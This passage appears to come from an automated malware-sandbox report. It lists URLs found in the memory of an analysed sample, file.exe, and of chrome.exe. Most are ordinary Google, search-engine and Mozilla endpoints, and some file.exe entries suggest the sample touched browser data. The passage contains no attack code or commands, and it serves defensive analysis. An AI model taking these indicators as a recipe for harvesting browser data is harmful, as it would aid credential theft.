Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop
Source: chrome.exe, 00000001.00000002.1923617263.00004A3000078000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/encryption/unlock/desktop?kdi=CAIaDgoKY2hyb21lc3luYxAB
Source: chromecache_78.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/auth
Source: chromecache_78.3.dr	String found in binary or memory: https://accounts.google.com/o/oauth2/postmessageRelay
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/o/oauth2/revoke
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/oauth/multilogin
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/signin/chrome/sync?ssp=1
Source: chrome.exe, 00000001.00000002.1926208443.00004A30003EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931054285.00004A3000C50000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com0J
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com:443
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aida.googleapis.com/v1/aida:doConversation2
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4830
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/4966
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/5845
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/6574
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7161
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7162
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926208443.00004A30003EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7246
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7308
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7319
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7320
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7369
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926477242.00004A3000474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7382
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7489
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7604
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7714
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7847
Source: chrome.exe, 00000001.00000003.1831020532.00004A300080C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1830979410.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930562263.00004A3000B5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1828067892.00004A30003C8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://anglebug.com/7899
Source: chrome.exe, 00000001.00000003.1858893949.00004A30013C8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1854964503.00004A3001468000.00000004.00000800.00020000.00000000.sdmp, chromecache_78.3.dr, chromecache_79.3.dr	String found in binary or memory: https://apis.google.com
Source: chrome.exe, 00000001.00000002.1941846116.00004A30016E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928066605.00004A30006D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1932595252.00004A3000E80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097680594.00000000233C2000.00000004.00000020.00020000.00000000.sdmp, FIIIIDGHJEBFBGDHDGII.0.dr	String found in binary or memory: https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097680594.00000000233C2000.00000004.00000020.00020000.00000000.sdmp, FIIIIDGHJEBFBGDHDGII.0.dr	String found in binary or memory: https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta
Source: chrome.exe, 00000001.00000002.1940646655.00004A3001074000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928413011.00004A3000744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926785516.00004A30004EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://calendar.google.com/calendar/u/0/r/eventedit?usp=chrome_actions
Source: chrome.exe, 00000001.00000003.1859150086.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1832796731.00004A3000BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1914648687.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930668423.00004A3000BC8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837221454.00004A3000BC4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.ico
Source: file.exe, 00000000.00000003.1933398290.000000000126C000.00000004.00000020.00020000.00000000.sdmp, GIJDAFBK.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: chrome.exe, 00000001.00000002.1930809752.00004A3000BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.ico
Source: chrome.exe, 00000001.00000002.1930809752.00004A3000BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icofrom_play_api
Source: file.exe, 00000000.00000003.1933398290.000000000126C000.00000004.00000020.00020000.00000000.sdmp, GIJDAFBK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: chrome.exe, 00000001.00000002.1930809752.00004A3000BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search
Source: chrome.exe, 00000001.00000002.1930809752.00004A3000BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=
Source: chrome.exe, 00000001.00000002.1930809752.00004A3000BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/search?ei=&fr=crmas&p=searchTerms
Source: file.exe, 00000000.00000003.1933398290.000000000126C000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1927702098.00004A300062C000.00000004.00000800.00020000.00000000.sdmp, GIJDAFBK.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: chrome.exe, 00000001.00000003.1833225737.00004A3000ED0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore
Source: chrome.exe, 00000001.00000002.1927780747.00004A3000648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore0J
Source: chrome.exe, 00000001.00000002.1927780747.00004A3000648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore206E5
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929905118.00004A30009EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1929806090.00004A30009B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928937847.00004A300079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=eny
Source: chrome.exe, 00000001.00000003.1839461965.00004A3000CB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1837452906.00004A3000C88000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1833696386.00004A3000CB0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1831704732.00004A3000CA0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1833225737.00004A3000ED0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstoreLDDiscover
Source: chrome.exe, 00000001.00000002.1947913561.00006FD00078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/
Source: chrome.exe, 00000001.00000003.1814672757.00006FD00039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814433498.00006FD000390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymity-pa.googleapis.com/2%
Source: chrome.exe, 00000001.00000002.1947913561.00006FD00078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/
Source: chrome.exe, 00000001.00000003.1814672757.00006FD00039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814433498.00006FD000390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/2$
Source: chrome.exe, 00000001.00000002.1947913561.00006FD00078C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityauth-pa.googleapis.com/KAnonymityServiceJoinRelayServerhttps://chromekanonym
Source: chrome.exe, 00000001.00000003.1862953929.00004A3001614000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1862485736.00004A3001610000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1860300661.00004A3001A8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1947913561.00006FD00078C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814943431.00006FD000684000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1860237083.00004A3001A84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/
Source: chrome.exe, 00000001.00000003.1814672757.00006FD00039C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814433498.00006FD000390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/2O
Source: chrome.exe, 00000001.00000003.1860300661.00004A3001A8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1860237083.00004A3001A84000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromekanonymityquery-pa.googleapis.com/https://google-ohttp-relay-query.fastly-edge.com/
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/events
Source: chrome.exe, 00000001.00000002.1925121317.00004A300020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromereporting-pa.googleapis.com/v1/record
Source: chrome.exe, 00000001.00000002.1923307296.00004A300001C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromewebstore.google.com/
Source: chrome.exe, 00000001.00000002.1931011558.00004A3000C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/
Source: chrome.exe, 00000001.00000002.1931011558.00004A3000C38000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chromium-i18n.appspot.com/ssl-aggregate-address/J0
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://classroom.googleapis.com/g1
Source: chrome.exe, 00000001.00000003.1810865136.0000766C002E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810836705.0000766C002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/cr/report
Source: chrome.exe, 00000001.00000002.1927858277.00004A300067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1923307296.00004A300001C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822730404.00004A3000468000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928223015.00004A30006EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1930809752.00004A3000BEC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients2.google.com/service/update2/crx
Source: chrome.exe, 00000001.00000002.1929624729.00004A3000958000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collection-images?rt=b
Source: chrome.exe, 00000001.00000002.1929624729.00004A3000958000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/collections?rt=b
Source: chrome.exe, 00000001.00000002.1928413011.00004A3000744000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync
Source: chrome.exe, 00000001.00000002.1924926380.00004A30001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clients4.google.com/chrome-sync/event
Source: chromecache_78.3.dr	String found in binary or memory: https://clients6.google.com
Source: chrome.exe, 00000001.00000002.1927780747.00004A3000648000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: chromecache_78.3.dr	String found in binary or memory: https://content.googleapis.com
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097680594.00000000233C2000.00000004.00000020.00020000.00000000.sdmp, FIIIIDGHJEBFBGDHDGII.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg
Source: file.exe, 00000000.00000002.2082345429.0000000001213000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2097680594.00000000233C2000.00000004.00000020.00020000.00000000.sdmp, FIIIIDGHJEBFBGDHDGII.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: chrome.exe, 00000001.00000002.1930157075.00004A3000A9C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://csp.withgoogle.com/csp/report-to/gws/none
Source: chrome.exe, 00000001.00000002.1925946105.00004A3000358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.
Source: chrome.exe, 00000001.00000003.1822730404.00004A3000468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/:
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/?usp=installed_webapp
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/J
Source: chrome.exe, 00000001.00000003.1859345929.00004A30014F8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/d/1z2sdBwnUF2tSlhl3R2iUlk7gvmSbuLVXOgriPIcJkXQ/preview29
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925666200.00004A30002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/installwebapp?usp=chrome_default
Source: chrome.exe, 00000001.00000002.1926601964.00004A30004AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931054285.00004A3000C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928978060.00004A30007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928937847.00004A300079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/document/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000001.00000002.1926601964.00004A30004AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931054285.00004A3000C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928978060.00004A30007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928937847.00004A300079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000001.00000002.1926601964.00004A30004AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1931054285.00004A3000C50000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928978060.00004A30007B8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928937847.00004A300079C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/forms/u/0/create?usp=chrome_actionsy
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/:
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/?usp=installed_webapp
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/J
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925666200.00004A30002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/installwebapp?usp=chrome_default
Source: chrome.exe, 00000001.00000002.1940646655.00004A3001074000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928413011.00004A3000744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926785516.00004A30004EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/presentation/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/:
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/?usp=installed_webapp
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/J
Source: chrome.exe, 00000001.00000002.1928092777.00004A30006E3000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925666200.00004A30002C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/installwebapp?usp=chrome_default
Source: chrome.exe, 00000001.00000002.1940646655.00004A3001074000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1928413011.00004A3000744000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1926785516.00004A30004EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/spreadsheets/u/0/create?usp=chrome_actions
Source: file.exe, file.exe, 00000000.00000003.1730489786.0000000004C7B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2101541267.000000006C801000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2080967365.000000000037C000.00000040.00000001.01000000.00000003.sdmp, chrome.dll.0.dr	String found in binary or memory: https://docs.rs/getrandom#nodejs-es-module-support
Source: chromecache_78.3.dr	String found in binary or memory: https://domains.google.com/suggest/flow
Source: chrome.exe, 00000001.00000002.1925946105.00004A3000358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autHO60JHO60Je.com/
Source: chrome.exe, 00000001.00000003.1822730404.00004A3000468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-autopush.corp.google.com/
Source: chrome.exe, 00000001.00000003.1822730404.00004A3000468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-0.corp.google.com/
Source: chrome.exe, 00000001.00000002.1925946105.00004A3000358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.c
Source: chrome.exe, 00000001.00000003.1822730404.00004A3000468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-1.corp.google.com/
Source: chrome.exe, 00000001.00000003.1822730404.00004A3000468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-2.corp.google.com/
Source: chrome.exe, 00000001.00000002.1925946105.00004A3000358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googl
Source: chrome.exe, 00000001.00000002.1925946105.00004A3000358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.googlP60JP60J//drive-daily-4.corp.google.com/
Source: chrome.exe, 00000001.00000003.1822730404.00004A3000468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-3.corp.google.com/
Source: chrome.exe, 00000001.00000003.1822730404.00004A3000468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-4.corp.google.com/
Source: chrome.exe, 00000001.00000002.1925946105.00004A3000358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-5.corp.google.com/
Source: chrome.exe, 00000001.00000003.1822730404.00004A3000468000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-daily-6.corp.google.com/
Source: chrome.exe, 00000001.00000002.1925946105.00004A3000358000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://drive-preprod.corp.google.com/
